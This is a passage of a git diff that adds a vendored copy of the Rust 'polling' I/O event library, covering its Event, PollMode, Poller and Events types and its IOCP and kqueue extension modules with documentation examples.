delivered, interest in the event needs to be re-enabled + /// by calling `Poller::modify` or `Poller::add`. + /// + /// This is the default mode. + Oneshot, + + /// Poll in level-triggered mode. + /// + /// Once an event has been delivered, polling will continue to deliver that event + /// until interest in the event is disabled by calling `Poller::modify` or `Poller::delete`. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_level`. + Level, + + /// Poll in edge-triggered mode. + /// + /// Once an event has been delivered, polling will not deliver that event again unless + /// a new event occurs. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_edge`. + Edge, + + /// Poll in both edge-triggered and oneshot mode. + /// + /// This mode is similar to the `Oneshot` mode, but it will only deliver one event per new + /// event. + /// + /// Not all operating system support this mode. Trying to register a file descriptor with + /// this mode in an unsupported operating system will raise an error. You can check if + /// the operating system supports this mode by calling `Poller::supports_edge`. + EdgeOneshot, +} + +impl Event { + /// Create a new event. + pub const fn new(key: usize, readable: bool, writable: bool) -> Event { + Event { + key, + readable, + writable, + extra: sys::EventExtra::empty(), + } + } + + /// All kinds of events (readable and writable). + /// + /// Equivalent to: `Event::new(key, true, true)` + #[inline] + pub const fn all(key: usize) -> Event { + Event::new(key, true, true) + } + + /// Only the readable event. + /// + /// Equivalent to: `Event::new(key, true, false)` + #[inline] + pub const fn readable(key: usize) -> Event { + Event::new(key, true, false) + } + + /// Only the writable event. + /// + /// Equivalent to: `Event::new(key, false, true)` + #[inline] + pub const fn writable(key: usize) -> Event { + Event::new(key, false, true) + } + + /// No events. + /// + /// Equivalent to: `Event::new(key, false, false)` + #[inline] + pub const fn none(key: usize) -> Event { + Event::new(key, false, false) + } + + /// Add interruption events to this interest. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn set_interrupt(&mut self, active: bool) { + self.extra.set_hup(active); + } + + /// Add interruption events to this interest. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn with_interrupt(mut self) -> Self { + self.set_interrupt(true); + self + } + + /// Add priority events to this interest. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn set_priority(&mut self, active: bool) { + self.extra.set_pri(active); + } + + /// Add priority events to this interest. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this function is a no-op. + #[inline] + pub fn with_priority(mut self) -> Self { + self.set_priority(true); + self + } + + /// Tell if this event is the result of an interrupt notification. + /// + /// This usually indicates that the file descriptor or socket has been closed. It corresponds + /// to the `EPOLLHUP` and `POLLHUP` events. + /// + /// Interruption events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this always returns `false`. + #[inline] + pub fn is_interrupt(&self) -> bool { + self.extra.is_hup() + } + + /// Tell if this event is the result of a priority notification. + /// + /// This indicates that there is urgent data to read. It corresponds to the `EPOLLPRI` and + /// `POLLPRI` events. + /// + /// Priority events are only supported on the following platforms: + /// + /// - `epoll` + /// - `poll` + /// - IOCP + /// - Event Ports + /// + /// On other platforms, this always returns `false`. + #[inline] + pub fn is_priority(&self) -> bool { + self.extra.is_pri() + } + + /// Tells if this event is the result of a connection failure. + /// + /// This function checks if a TCP connection has failed. It corresponds to the `EPOLLERR` or `EPOLLHUP` event in Linux + /// and `CONNECT_FAILED` event in Windows IOCP. + /// + /// # Examples + /// + /// ``` + /// use std::{io, net}; + /// // Assuming polling and socket2 are included as dependencies in Cargo.toml + /// use polling::Event; + /// use socket2::Type; + /// + /// fn main() -> io::Result<()> { + /// let socket = socket2::Socket::new(socket2::Domain::IPV4, Type::STREAM, None)?; + /// let poller = polling::Poller::new()?; + /// unsafe { + /// poller.add(&socket, Event::new(0, true, true))?; + /// } + /// let addr = net::SocketAddr::new(net::Ipv4Addr::LOCALHOST.into(), 8080); + /// socket.set_nonblocking(true)?; + /// let _ = socket.connect(&addr.into()); + /// + /// let mut events = polling::Events::new(); + /// + /// events.clear(); + /// poller.wait(&mut events, None)?; + /// + /// let event = events.iter().next(); + /// + /// let event = match event { + /// Some(event) => event, + /// None => { + /// println!("no event"); + /// return Ok(()); + /// }, + /// }; + /// + /// println!("event: {:?}", event); + /// if event + /// .is_connect_failed() + /// .unwrap_or_default() + /// { + /// println!("connect failed"); + /// } + /// + /// Ok(()) + /// } + /// ``` + /// + /// # Returns + /// + /// Returns `Some(true)` if the connection has failed, `Some(false)` if the connection has not failed, + /// or `None` if the platform does not support detecting this condition. + #[inline] + #[deprecated( + since = "3.4.0", + note = "use `is_err` in combination of is_hup instead, see documentation for `is_err`" + )] + pub fn is_connect_failed(&self) -> Option { + self.extra.is_connect_failed() + } + + /// Tells if this event is the result of a connection failure. + /// + /// This function checks if an error exist, particularly useful in detecting if TCP connection failed. It corresponds to the `EPOLLERR` event in Linux + /// and `CONNECT_FAILED` event in Windows IOCP. + /// + /// ## Caveats + /// + /// In `epoll`, a TCP connection failure is indicated by `EPOLLERR` + `EPOLLHUP`, though just `EPOLLERR` is enough to indicate a connection failure. + /// EPOLLHUP may happen when we haven't event called `connect` on the socket, but it is still a valid event to check for. + /// + /// Returns `Some(true)` if the connection has failed, `Some(false)` if there is no error, + /// or `None` if the platform does not support detecting this condition. + #[inline] + pub fn is_err(&self) -> Option { + self.extra.is_err() + } + + /// Remove any extra information from this event. + #[inline] + pub fn clear_extra(&mut self) { + self.extra = sys::EventExtra::empty(); + } + + /// Get a version of this event with no extra information. + /// + /// This is useful for comparing events with `==`. + #[inline] + pub fn with_no_extra(mut self) -> Self { + self.clear_extra(); + self + } +} + +/// Waits for I/O events. +pub struct Poller { + poller: sys::Poller, + lock: Mutex<()>, + notified: AtomicBool, +} + +impl Poller { + /// Creates a new poller. + /// + /// # Examples + /// + /// ``` + /// use polling::Poller; + /// + /// let poller = Poller::new()?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn new() -> io::Result { + Ok(Poller { + poller: sys::Poller::new()?, + lock: Mutex::new(()), + notified: AtomicBool::new(false), + }) + } + + /// Tell whether or not this `Poller` supports level-triggered polling. + pub fn supports_level(&self) -> bool { + self.poller.supports_level() + } + + /// Tell whether or not this `Poller` supports edge-triggered polling. + pub fn supports_edge(&self) -> bool { + self.poller.supports_edge() + } + + /// Adds a file descriptor or socket to the poller. + /// + /// A file descriptor or socket is considered readable or writable when a read or write + /// operation on it would not block. This doesn't mean the read or write operation will + /// succeed, it only means the operation will return immediately. + /// + /// If interest is set in both readability and writability, the two kinds of events might be + /// delivered either separately or together. + /// + /// For example, interest in `Event { key: 7, readable: true, writable: true }` might result in + /// a single [`Event`] of the same form, or in two separate [`Event`]s: + /// - `Event { key: 7, readable: true, writable: false }` + /// - `Event { key: 7, readable: false, writable: true }` + /// + /// Note that interest in I/O events needs to be re-enabled using + /// [`modify()`][`Poller::modify()`] again after an event is delivered if we're interested in + /// the next event of the same kind. + /// + /// It is possible to register interest in the same file descriptor or socket using multiple + /// separate [`Poller`] instances. When the event is delivered, one or more [`Poller`]s are + /// notified with that event. The exact number of [`Poller`]s notified depends on the + /// underlying platform. When registering multiple sources into one event, the user should + /// be careful to accommodate for events lost to other pollers. + /// + /// One may also register one source into other, non-`polling` event loops, like GLib's + /// context. While the plumbing will vary from platform to platform, in general the [`Poller`] + /// will act as if the source was registered with another [`Poller`], with the same caveats + /// as above. + /// + /// # Safety + /// + /// The source must be [`delete()`]d from this `Poller` before it is dropped. + /// + /// [`delete()`]: Poller::delete + /// + /// # Errors + /// + /// This method returns an error in the following situations: + /// + /// * If `key` equals `usize::MAX` because that key is reserved for internal use. + /// * If an error is returned by the syscall. + /// + /// # Examples + /// + /// Set interest in all events: + /// + /// ```no_run + /// use polling::{Event, Poller}; + /// + /// let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// source.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { + /// poller.add(&source, Event::all(key))?; + /// } + /// poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + pub unsafe fn add(&self, source: impl AsRawSource, interest: Event) -> io::Result<()> { + self.add_with_mode(source, interest, PollMode::Oneshot) + } + + /// Adds a file descriptor or socket to the poller in the specified mode. + /// + /// This is identical to the `add()` function, but allows specifying the + /// polling mode to use for this socket. + /// + /// # Safety + /// + /// The source must be [`delete()`]d from this `Poller` before it is dropped. + /// + /// [`delete()`]: Poller::delete + /// + /// # Errors + /// + /// If the operating system does not support the specified mode, this function + /// will return an error. + pub unsafe fn add_with_mode( + &self, + source: impl AsRawSource, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + if interest.key == NOTIFY_KEY { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "the key is not allowed to be `usize::MAX`", + )); + } + self.poller.add(source.raw(), interest, mode) + } + + /// Modifies the interest in a file descriptor or socket. + /// + /// This method has the same behavior as [`add()`][`Poller::add()`] except it modifies the + /// interest of a previously added file descriptor or socket. + /// + /// To use this method with a file descriptor or socket, you must first add it using + /// [`add()`][`Poller::add()`]. + /// + /// Note that interest in I/O events needs to be re-enabled using + /// [`modify()`][`Poller::modify()`] again after an event is delivered if we're interested in + /// the next event of the same kind. + /// + /// # Errors + /// + /// This method returns an error in the following situations: + /// + /// * If `key` equals `usize::MAX` because that key is reserved for internal use. + /// * If an error is returned by the syscall. + /// + /// # Examples + /// + /// To enable interest in all events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::all(key))?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To enable interest in readable events and disable interest in writable events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::readable(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To disable interest in readable events and enable interest in writable events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let poller = Poller::new()?; + /// # let key = 7; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # unsafe { poller.add(&source, Event::none(key))? }; + /// poller.modify(&source, Event::writable(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + /// + /// To disable interest in all events: + /// + /// ```no_run + /// # use polling::{Event, Poller}; + /// # let source = std::net::TcpListener::bind("127.0.0.1:0")?; + /// # let key = 7; + /// # let poller = Poller::new()?; + /// # unsafe { poller.add(&source, Event::none(key))?; } + /// poller.modify(&source, Event::none(key))?; + /// # poller.delete(&source)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn modify(&self, source: impl AsSource, interest: Event) -> io::Result<()> { + self.modify_with_mode(source, interest, PollMode::Oneshot) + } + + /// Modifies interest in a file descriptor or socket to the poller, but with the specified + /// mode. + /// + /// This is identical to the `modify()` function, but allows specifying the polling mode + /// to use for this socket. + /// + /// # Performance Notes + /// + /// This function can be used to change a source from one polling mode to another. However, + /// on some platforms, this switch can cause delays in the delivery of events. + /// + /// # Errors + /// + /// If the operating system does not support the specified mode, this function will return + /// an error. + pub fn modify_with_mode( + &self, + source: impl AsSource, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + if interest.key == NOTIFY_KEY { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "the key is not allowed to be `usize::MAX`", + )); + } + self.poller.modify(source.source(), interest, mode) + } + + /// Removes a file descriptor or socket from the poller. + /// + /// Unlike [`add()`][`Poller::add()`], this method only removes the file descriptor or + /// socket from the poller without putting it back into blocking mode. + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Poller}; + /// use std::net::TcpListener; + /// + /// let socket = TcpListener::bind("127.0.0.1:0")?; + /// socket.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { poller.add(&socket, Event::all(key))?; } + /// poller.delete(&socket)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn delete(&self, source: impl AsSource) -> io::Result<()> { + self.poller.delete(source.source()) + } + + /// Waits for at least one I/O event and returns the number of new events. + /// + /// New events will be appended to `events`. If necessary, make sure to clear the + /// [`Events`][Events::clear()] before calling [`wait()`][`Poller::wait()`]! + /// + /// This method will return with no new events if a notification is delivered by the + /// [`notify()`] method, or the timeout is reached. Sometimes it may even return with no events + /// spuriously. + /// + /// Only one thread can wait on I/O. If another thread is already in [`wait()`], concurrent + /// calls to this method will return immediately with no new events. + /// + /// If the operating system is ready to deliver a large number of events at once, this method + /// may decide to deliver them in smaller batches. + /// + /// [`notify()`]: `Poller::notify()` + /// [`wait()`]: `Poller::wait()` + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Events, Poller}; + /// use std::net::TcpListener; + /// use std::time::Duration; + /// + /// let socket = TcpListener::bind("127.0.0.1:0")?; + /// socket.set_nonblocking(true)?; + /// let key = 7; + /// + /// let poller = Poller::new()?; + /// unsafe { + /// poller.add(&socket, Event::all(key))?; + /// } + /// + /// let mut events = Events::new(); + /// let n = poller.wait(&mut events, Some(Duration::from_secs(1)))?; + /// poller.delete(&socket)?; + /// # std::io::Result::Ok(()) + /// ``` + pub fn wait(&self, events: &mut Events, timeout: Option) -> io::Result { + self.wait_impl( + events, + timeout.and_then(|timeout| Instant::now().checked_add(timeout)), + ) + } + + /// Waits for at least one I/O event and returns the number of new events, with a deadline. + /// + /// See [`wait()`][`Poller::wait()`] for more details. + pub fn wait_deadline(&self, events: &mut Events, deadline: Instant) -> io::Result { + self.wait_impl(events, Some(deadline)) + } + + fn wait_impl(&self, events: &mut Events, deadline: Option) -> io::Result { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("Poller::wait", ?deadline); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if let Ok(_lock) = self.lock.try_lock() { + loop { + // Wait for I/O events. + if let Err(e) = self.poller.wait_deadline(&mut events.events, deadline) { + // If the wait was interrupted by a signal, clear events and try again. + if e.kind() == io::ErrorKind::Interrupted { + events.clear(); + continue; + } else { + return Err(e); + } + } + + // Clear the notification, if any. + self.notified.swap(false, Ordering::SeqCst); + + // Indicate number of events. + return Ok(events.len()); + } + } else { + #[cfg(feature = "tracing")] + tracing::trace!("wait: skipping because another thread is already waiting on I/O"); + Ok(0) + } + } + + /// Wakes up the current or the following invocation of [`wait()`]. + /// + /// If no thread is calling [`wait()`] right now, this method will cause the following call + /// to wake up immediately. + /// + /// [`wait()`]: `Poller::wait()` + /// + /// # Examples + /// + /// ``` + /// use polling::{Events, Poller}; + /// + /// let poller = Poller::new()?; + /// + /// // Notify the poller. + /// poller.notify()?; + /// + /// let mut events = Events::new(); + /// poller.wait(&mut events, None)?; // wakes up immediately + /// assert!(events.is_empty()); + /// # std::io::Result::Ok(()) + /// ``` + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!("Poller::notify"); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if self + .notified + .compare_exchange(false, true, Ordering::SeqCst, Ordering::SeqCst) + .is_ok() + { + self.poller.notify()?; + } + Ok(()) + } +} + +/// A container for I/O events. +pub struct Events { + events: sys::Events, + + /// This is intended to be used from &mut, thread locally, so we should make it !Sync + /// for consistency with the rest of the API. + _not_sync: PhantomData>, +} + +impl Default for Events { + #[inline] + fn default() -> Self { + Self::new() + } +} + +impl Events { + /// Create a new container for events, using the default capacity. + /// + /// The default capacity is 1024. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// ``` + #[inline] + pub fn new() -> Self { + // ESP-IDF has a low amount of RAM, so we use a smaller default capacity. + #[cfg(target_os = "espidf")] + const DEFAULT_CAPACITY: usize = 32; + + #[cfg(not(target_os = "espidf"))] + const DEFAULT_CAPACITY: usize = 1024; + + Self::with_capacity(NonZeroUsize::new(DEFAULT_CAPACITY).unwrap()) + } + + /// Create a new container with the provided capacity. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// use std::num::NonZeroUsize; + /// + /// let capacity = NonZeroUsize::new(1024).unwrap(); + /// let events = Events::with_capacity(capacity); + /// ``` + #[inline] + pub fn with_capacity(capacity: NonZeroUsize) -> Self { + Self { + events: sys::Events::with_capacity(capacity.get()), + _not_sync: PhantomData, + } + } + + /// Create a new iterator over I/O events. + /// + /// This returns all of the events in the container, excluding the notification event. + /// + /// # Examples + /// + /// ``` + /// use polling::{Event, Events, Poller}; + /// use std::time::Duration; + /// + /// # fn main() -> std::io::Result<()> { + /// let poller = Poller::new()?; + /// let mut events = Events::new(); + /// + /// poller.wait(&mut events, Some(Duration::from_secs(0)))?; + /// assert!(events.iter().next().is_none()); + /// # Ok(()) } + /// ``` + #[inline] + pub fn iter(&self) -> impl Iterator + '_ { + self.events.iter().filter(|ev| ev.key != NOTIFY_KEY) + } + + /// Delete all of the events in the container. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Event, Events, Poller}; + /// + /// # fn main() -> std::io::Result<()> { + /// let poller = Poller::new()?; + /// let mut events = Events::new(); + /// + /// /* register some sources */ + /// + /// poller.wait(&mut events, None)?; + /// + /// events.clear(); + /// # Ok(()) } + /// ``` + #[inline] + pub fn clear(&mut self) { + self.events.clear(); + } + + /// Returns the number of events in the container. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// assert_eq!(events.len(), 0); + /// ``` + #[inline] + pub fn len(&self) -> usize { + self.iter().count() + } + + /// Returns `true` if the container contains no events. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// + /// let events = Events::new(); + /// assert!(events.is_empty()); + /// ``` + #[inline] + pub fn is_empty(&self) -> bool { + self.len() == 0 + } + + /// Get the total capacity of the list. + /// + /// # Examples + /// + /// ``` + /// use polling::Events; + /// use std::num::NonZeroUsize; + /// + /// let cap = NonZeroUsize::new(10).unwrap(); + /// let events = Events::with_capacity(std::num::NonZeroUsize::new(10).unwrap()); + /// assert_eq!(events.capacity(), cap); + /// ``` + #[inline] + pub fn capacity(&self) -> NonZeroUsize { + NonZeroUsize::new(self.events.capacity()).unwrap() + } +} + +impl fmt::Debug for Events { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str("Events { .. }") + } +} + +#[cfg(all( + any( + target_os = "linux", + target_os = "android", + target_os = "redox", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +#[cfg_attr( + docsrs, + doc(cfg(any( + target_os = "linux", + target_os = "android", + target_os = "redox", + target_os = "illumos", + target_os = "solaris", + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ))) +)] +mod raw_fd_impl { + use crate::Poller; + use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; + + impl AsRawFd for Poller { + fn as_raw_fd(&self) -> RawFd { + self.poller.as_raw_fd() + } + } + + impl AsFd for Poller { + fn as_fd(&self) -> BorrowedFd<'_> { + self.poller.as_fd() + } + } +} + +#[cfg(windows)] +#[cfg_attr(docsrs, doc(cfg(windows)))] +mod raw_handle_impl { + use crate::Poller; + use std::os::windows::io::{AsHandle, AsRawHandle, BorrowedHandle, RawHandle}; + + impl AsRawHandle for Poller { + fn as_raw_handle(&self) -> RawHandle { + self.poller.as_raw_handle() + } + } + + impl AsHandle for Poller { + fn as_handle(&self) -> BorrowedHandle<'_> { + self.poller.as_handle() + } + } +} + +impl fmt::Debug for Poller { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.poller.fmt(f) + } +} + +cfg_if! { + if #[cfg(any(unix, target_os = "hermit"))] { + #[cfg(unix)] + use std::os::unix::io::{AsRawFd, RawFd, AsFd, BorrowedFd}; + #[cfg(target_os = "hermit")] + use std::os::hermit::io::{AsRawFd, RawFd, AsFd, BorrowedFd}; + + /// A resource with a raw file descriptor. + pub trait AsRawSource { + /// Returns the raw file descriptor. + fn raw(&self) -> RawFd; + } + + impl AsRawSource for &T { + fn raw(&self) -> RawFd { + self.as_raw_fd() + } + } + + impl AsRawSource for RawFd { + fn raw(&self) -> RawFd { + *self + } + } + + /// A resource with a borrowed file descriptor. + pub trait AsSource: AsFd { + /// Returns the borrowed file descriptor. + fn source(&self) -> BorrowedFd<'_> { + self.as_fd() + } + } + + impl AsSource for T {} + } else if #[cfg(windows)] { + use std::os::windows::io::{AsRawSocket, RawSocket, AsSocket, BorrowedSocket}; + + /// A resource with a raw socket. + pub trait AsRawSource { + /// Returns the raw socket. + fn raw(&self) -> RawSocket; + } + + impl AsRawSource for &T { + fn raw(&self) -> RawSocket { + self.as_raw_socket() + } + } + + impl AsRawSource for RawSocket { + fn raw(&self) -> RawSocket { + *self + } + } + + /// A resource with a borrowed socket. + pub trait AsSource: AsSocket { + /// Returns the borrowed socket. + fn source(&self) -> BorrowedSocket<'_> { + self.as_socket() + } + } + + impl AsSource for T {} + } +} + +#[allow(unused)] +fn unsupported_error(err: impl Into) -> io::Error { + io::Error::new(io::ErrorKind::Unsupported, err.into()) +} + +fn _assert_send_and_sync() { + fn assert_send() {} + fn assert_sync() {} + + assert_send::(); + assert_sync::(); + + assert_send::(); + assert_sync::(); + + assert_send::(); + // Events can be !Sync +} diff --git a/lib/malio/polling/src/os.rs b/lib/malio/polling/src/os.rs new file mode 100644 index 0000000..35f5d1a --- /dev/null +++ b/lib/malio/polling/src/os.rs @@ -0,0 +1,24 @@ +//! Platform-specific functionality. + +#[cfg(all( + any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", + ), + not(polling_test_poll_backend), +))] +pub mod kqueue; + +#[cfg(target_os = "windows")] +pub mod iocp; + +mod __private { + #[doc(hidden)] + #[allow(dead_code)] + pub trait PollerSealed {} + + impl PollerSealed for crate::Poller {} +} diff --git a/lib/malio/polling/src/os/iocp.rs b/lib/malio/polling/src/os/iocp.rs new file mode 100644 index 0000000..3370118 --- /dev/null +++ b/lib/malio/polling/src/os/iocp.rs @@ -0,0 +1,253 @@ +//! Functionality that is only available for IOCP-based platforms. + +pub use crate::sys::CompletionPacket; + +use super::__private::PollerSealed; +use crate::{Event, PollMode, Poller}; + +use std::io; +use std::os::windows::io::{AsRawHandle, RawHandle}; +use std::os::windows::prelude::{AsHandle, BorrowedHandle}; + +/// Extension trait for the [`Poller`] type that provides functionality specific to IOCP-based +/// platforms. +/// +/// [`Poller`]: crate::Poller +pub trait PollerIocpExt: PollerSealed { + /// Post a new [`Event`] to the poller. + /// + /// # Examples + /// + /// ```rust + /// use polling::{Poller, Event, Events}; + /// use polling::os::iocp::{CompletionPacket, PollerIocpExt}; + /// + /// use std::thread; + /// use std::sync::Arc; + /// use std::time::Duration; + /// + /// # fn main() -> std::io::Result<()> { + /// // Spawn a thread to wake us up after 100ms. + /// let poller = Arc::new(Poller::new()?); + /// thread::spawn({ + /// let poller = poller.clone(); + /// move || { + /// let packet = CompletionPacket::new(Event::readable(0)); + /// thread::sleep(Duration::from_millis(100)); + /// poller.post(packet).unwrap(); + /// } + /// }); + /// + /// // Wait for the event. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None)?; + /// + /// assert_eq!(events.len(), 1); + /// # Ok(()) } + /// ``` + fn post(&self, packet: CompletionPacket) -> io::Result<()>; + + /// Add a waitable handle to this poller. + /// + /// Some handles in Windows are "waitable", which means that they emit a "readiness" signal + /// after some event occurs. This function can be used to wait for such events to occur + /// on a handle. This function can be used in addition to regular socket polling. + /// + /// Waitable objects include the following: + /// + /// - Console inputs + /// - Waitable events + /// - Mutexes + /// - Processes + /// - Semaphores + /// - Threads + /// - Timer + /// + /// Once the object has been signalled, the poller will emit the `interest` event. + /// + /// # Safety + /// + /// The added handle must not be dropped before it is deleted. + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// ``` + unsafe fn add_waitable( + &self, + handle: impl AsRawWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()>; + + /// Modify an existing waitable handle. + /// + /// This function can be used to change the emitted event and/or mode of an existing waitable + /// handle. The handle must have been previously added to the poller using [`add_waitable`]. + /// + /// [`add_waitable`]: Self::add_waitable + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// + /// // Modify the waitable handle. + /// poller.modify_waitable(&child, Event::readable(0), PollMode::Oneshot).unwrap(); + /// ``` + fn modify_waitable( + &self, + handle: impl AsWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()>; + + /// Remove a waitable handle from this poller. + /// + /// This function can be used to remove a waitable handle from the poller. The handle must + /// have been previously added to the poller using [`add_waitable`]. + /// + /// [`add_waitable`]: Self::add_waitable + /// + /// # Examples + /// + /// ```no_run + /// use polling::{Poller, Event, Events, PollMode}; + /// use polling::os::iocp::PollerIocpExt; + /// + /// use std::process::Command; + /// + /// // Spawn a new process. + /// let mut child = Command::new("echo") + /// .arg("Hello, world!") + /// .spawn() + /// .unwrap(); + /// + /// // Create a new poller. + /// let poller = Poller::new().unwrap(); + /// + /// // Add the child process to the poller. + /// unsafe { + /// poller.add_waitable(&child, Event::all(0), PollMode::Oneshot).unwrap(); + /// } + /// + /// // Wait for the child process to exit. + /// let mut events = Events::new(); + /// poller.wait(&mut events, None).unwrap(); + /// + /// assert_eq!(events.len(), 1); + /// assert_eq!(events.iter().next().unwrap(), Event::all(0)); + /// + /// // Remove the waitable handle. + /// poller.remove_waitable(&child).unwrap(); + /// ``` + fn remove_waitable(&self, handle: impl AsWaitable) -> io::Result<()>; +} + +impl PollerIocpExt for Poller { + fn post(&self, packet: CompletionPacket) -> io::Result<()> { + self.poller.post(packet) + } + + unsafe fn add_waitable( + &self, + handle: impl AsRawWaitable, + event: Event, + mode: PollMode, + ) -> io::Result<()> { + self.poller + .add_waitable(handle.as_raw_handle(), event, mode) + } + + fn modify_waitable( + &self, + handle: impl AsWaitable, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + self.poller + .modify_waitable(handle.as_waitable().as_raw_handle(), interest, mode) + } + + fn remove_waitable(&self, handle: impl AsWaitable) -> io::Result<()> { + self.poller + .remove_waitable(handle.as_waitable().as_raw_handle()) + } +} + +/// A type that represents a waitable handle. +pub trait AsRawWaitable { + /// Returns the raw handle of this waitable. + fn as_raw_handle(&self) -> RawHandle; +} + +impl AsRawWaitable for RawHandle { + fn as_raw_handle(&self) -> RawHandle { + *self + } +} + +impl AsRawWaitable for &T { + fn as_raw_handle(&self) -> RawHandle { + AsRawHandle::as_raw_handle(*self) + } +} + +/// A type that represents a waitable handle. +pub trait AsWaitable: AsHandle { + /// Returns the raw handle of this waitable. + fn as_waitable(&self) -> BorrowedHandle<'_> { + self.as_handle() + } +} + +impl AsWaitable for T {} diff --git a/lib/malio/polling/src/os/kqueue.rs b/lib/malio/polling/src/os/kqueue.rs new file mode 100644 index 0000000..ad70a95 --- /dev/null +++ b/lib/malio/polling/src/os/kqueue.rs @@ -0,0 +1,304 @@ +//! Functionality that is only available for `kqueue`-based platforms. + +use crate::sys::{mode_to_flags, SourceId}; +use crate::{PollMode, Poller}; + +use std::io; +use std::marker::PhantomData; +use std::process::Child; +use std::time::Duration; + +use rustix::event::kqueue; + +use super::__private::PollerSealed; +use __private::FilterSealed; + +// TODO(notgull): We should also have 